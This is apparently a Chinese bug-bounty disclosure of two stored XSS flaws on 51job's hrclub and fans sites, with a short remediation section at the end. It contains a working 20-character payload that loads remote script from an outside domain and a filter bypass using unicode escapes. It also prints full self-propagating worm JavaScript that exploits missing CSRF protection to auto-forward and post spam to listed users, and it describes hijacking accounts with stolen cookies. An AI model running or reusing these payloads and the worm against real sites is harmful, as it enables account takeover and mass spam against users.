两枚存储型XSS 分别处于:
1.http://hrclub.51job.com/
2.http://fans.51job.com/
先来说第一个 hr club
漏洞存在于日志发表 - 作者处 (http://hrclub.51job.com/blog/user_post.asp)
着重说下这里:只能输入20个字符 前端限制15字符 未做任何过滤!
20字符 在html标签外 <a>([可控])</a>就是这样的环境 20字符如何去加载js?
<script src=//20.rs> 刚刚好20 可以利用Html代码后面的 </script> 或者让浏览器渲染后 补全都可以!
// 代表当前协议 然后再加上 parsec 团队的短域名 20.rs 这样组合在一起就成为了payload
上张图:
日志编辑界面
前台日志
可以看到未做任何过滤
好了再来说下第二个存储型XSS吧
先上张图瞅一眼:
这些是点开微博 自动转发的截图。在转发 发表微博什么的 全部未做csrf防护。这点安全意思需要加强啊!
再来说下 漏洞存在于哪吧,其实很简单 就是发微博的正文出。看下面的截图:
可以看到 点击微博 看详情的时候 正文就被带入了script 然后没对 ' " > < / \ &#等字符进行编码 导致我成功闭合。然后用jQuery.getScript 成功加载js!(对关键字做了检测 Script 编码一下 绕过检测!对c 做了下unicode编码 :\u0063 在js中是可以使用js 16 js 8 jsunicode等编码的!在我这篇文章中曾提到过:http://drops.wooyun.org/tips/689)
然后我再对转发跟发表微博抓了个包,发现并未存在token,删除了来源页提交扔能成功!
上面post包中的content 就是转发时 说的内容 urldecode 过来就是:挺不错喔,分享一下
然后还会自己再发表一条微博!
先看看代码吧:
;var address="http://fans.51job.com/payservice/fans/ajax/weibo_ajax.php";
var shuju="type=4&tsmtype=1¬iceid=140810019204190&replyid=140810019204190&org_replyid=&coid=&content=%E6%8C%BA%E4%B8%8D%E9%94%99%E5%96%94%EF%BC%8C%E5%88%86%E4%BA%AB%E4%B8%80%E4%B8%8B&tsmto=1&ctid=undefined";
ruchong(address,shuju);
function ruchong(url,data){
if (window.XMLHttpRequest){
var xmlhttp1=new XMLHttpRequest();
}
else{
var xmlhttp1=new ActiveXObject("Microsoft.XMLHTTP");
}
xmlhttp1.open("POST",url,true);
xmlhttp1.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
xmlhttp1.send(data);
};
for(var i=0;i<10;i++){
dizhi = "http://fans.51job.com/payservice/fans/ajax/weibo_ajax.php";
var id =[141505,1228355,2075311,154736,2505521,183831,370547,2014250,111351,126889];
var sendata="type=2&coid="+i+"&content=%E8%BF%99%E4%B8%AA%E6%89%BE%E5%B7%A5%E4%BD%9C%E6%8A%80%E5%B7%A7%E4%B8%8D%E9%94%99%E5%93%A6%EF%BC%8C%E5%90%84%E8%A1%8C%E5%90%84%E4%B8%9A%E7%9A%84%E5%A4%A7%E4%BD%AC%E4%BB%AC%E4%BA%B2%E8%87%AA%E4%BC%A0%E6%8E%88%EF%BC%81http%3A%2F%2Ffans.51job.com%2Fru7B4q&uploadimg=&is_comp=0&sina_authorize=0&qq_authorize=0";
ruchong(dizhi,sendata);
}
这个就是蠕虫的代码,先转发一次,然后再发表一条新的微博!
另外我还尝试了 获得cookie 并登陆 看截图:
虽然做了httponly 但是仍然 能够登陆 看下图:
成功登陆上去 使用的是我自己的cookie生成插件:
只需把cookie放入左边 点击生成就会生成一段js代码 然后把代码放到浏览器里的console执行一下就好了!
待会就把cookie都删了 请放心 我有节操。。。。 确认请多给点分 谢谢!
修复方案:
过滤特殊字符 ' " < > / \ & # 然后关键功能做上csrf的保护等等
不要以为可输入的字符短了 就一点过滤也不做。。。
好了 差不多就这些吧 希望可以多给点分